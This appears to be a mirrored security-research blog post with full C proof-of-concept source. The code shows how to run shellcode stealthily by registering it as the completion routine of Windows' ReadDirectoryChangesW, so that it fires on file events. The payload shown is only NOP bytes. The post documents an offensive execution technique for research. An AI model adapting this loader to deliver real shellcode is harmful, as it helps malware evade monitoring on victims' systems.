Executing Shellcode with ReadDirectoryChanges’s Hidden Callback
文章介绍了一种利用Windows API `ReadDirectoryChanges` 的异步回调机制来注入和执行恶意代码的方法。通过将shellcode嵌入可执行文件并注册为回调函数,在特定文件操作触发时,内核会调用该shellcode在主线程中执行,实现隐蔽攻击。 2025-9-25 21:4:18 Author: osandamalith.com(查看原文) 阅读量:6 收藏

While digging into the ReadDirectoryChanges API, I noticed it supports an asynchronous callback via LPOVERLAPPED_COMPLETION_ROUTINE. Most people use this API to monitor file system changes, but what if we could hijack that callback to execute shellcode? This led me to develop a proof-of-concept (PoC) that turns a mundane filesystem monitoring function into a stealthy shellcode execution vector.

The API is documented as follows by Microsoft.

BOOL ReadDirectoryChangesW(

  [in]                HANDLE                          hDirectory,

  [out]               LPVOID                          lpBuffer,

  [in]                DWORD                           nBufferLength,

  [in]                BOOL                            bWatchSubtree,

  [in]                DWORD                           dwNotifyFilter,

  [out, optional]     LPDWORD                         lpBytesReturned,

  [in, out, optional] LPOVERLAPPED                    lpOverlapped,

  [in, optional]      LPOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine

);

In this PoC, the shellcode is embedded in the executable’s .text section and passed as the lpCompletionRoutine argument to ReadDirectoryChanges. When a file system event like creating/deleting/renaming a file in a given directory completes the asynchronous I/O operation, the Windows kernel queues a user-mode Asynchronous Procedure Call (APC) to the issuing thread. Since the main thread enters an alertable state via SleepEx(100, TRUE), the kernel delivers the APC, which invokes the shellcode as the I/O completion routine. This executes the shellcode directly in the context of the program’s main thread.

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

#include <windows.h>

#include <stdio.h>

/*

[*] ReadDirectoryChanges Shellcode Execution PoC

[*] Author: Osanda Malith Jayathissa - @OsandaMalith

[*] www.osandamalith.com

[*] Date: 25/09/2025

*/

#pragma section(".text")

__declspec(allocate(".text")) unsigned char shellcode[] = {

    0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90

};

int main() {

    puts("[*] ReadDirectoryChanges Shellcode Execution PoC");

    puts("[*] Author: Osanda Malith Jayathissa - @OsandaMalith");

    puts("[*] www.osandamalith.com\n");

    LPCWSTR dirPath = L"C:\\Temp"; // Dir to monitor

    HANDLE hDir = CreateFileW(

        dirPath,

        FILE_LIST_DIRECTORY,

        FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,

        NULL,

        OPEN_EXISTING,

        FILE_FLAG_BACKUP_SEMANTICS | FILE_FLAG_OVERLAPPED,

        NULL

    );

    if (hDir == INVALID_HANDLE_VALUE) {

        printf("[-] Failed to open directory: %d\n", GetLastError());

        return 1;

    }

    printf("[+] Monitoring directory: %ls\n", dirPath);

    printf("[+] Shellcode at: 0x%p\n", shellcode);

    BYTE buffer[1024];

    OVERLAPPED overlapped = { 0 };

    overlapped.hEvent = CreateEvent(NULL, TRUE, FALSE, NULL);

    BOOL result = ReadDirectoryChangesW(

        hDir,

        buffer,

        sizeof buffer,

        TRUE,

        FILE_NOTIFY_CHANGE_FILE_NAME | FILE_NOTIFY_CHANGE_DIR_NAME,

        NULL,

        &overlapped,

        (LPOVERLAPPED_COMPLETION_ROUTINE)(PVOID)shellcode    // Register shellcode as completion routine

    );

    if (!result) {

        printf("[-] ReadDirectoryChanges failed: %d\n", GetLastError());

        CloseHandle(overlapped.hEvent);

        CloseHandle(hDir);

        return 1;

    }

    printf("[+] Shellcode registered as completion routine!\n");

    printf("\n[*] To trigger shellcode:\n");

    printf("[+] Create/delete/rename a file in: %ls\n", dirPath);

    // Wait for events

    while (TRUE) {

        // SleepEx with alertable wait

        DWORD waitResult = SleepEx(100, TRUE);  // TRUE = alertable

        if (waitResult == WAIT_IO_COMPLETION) {

            printf("[!] Completion routine executed!\n");

        }

    }

    CloseHandle(overlapped.hEvent);

    CloseHandle(hDir);

    return 0;

}

https://github.com/OsandaMalith/ReadDirectoryChanges/blob/main/ReadDirectoryChanges.c


文章来源: https://osandamalith.com/2025/09/25/executing-shellcode-with-readdirectorychangess-hidden-callback/
如有侵权请联系:admin#unsafe.sh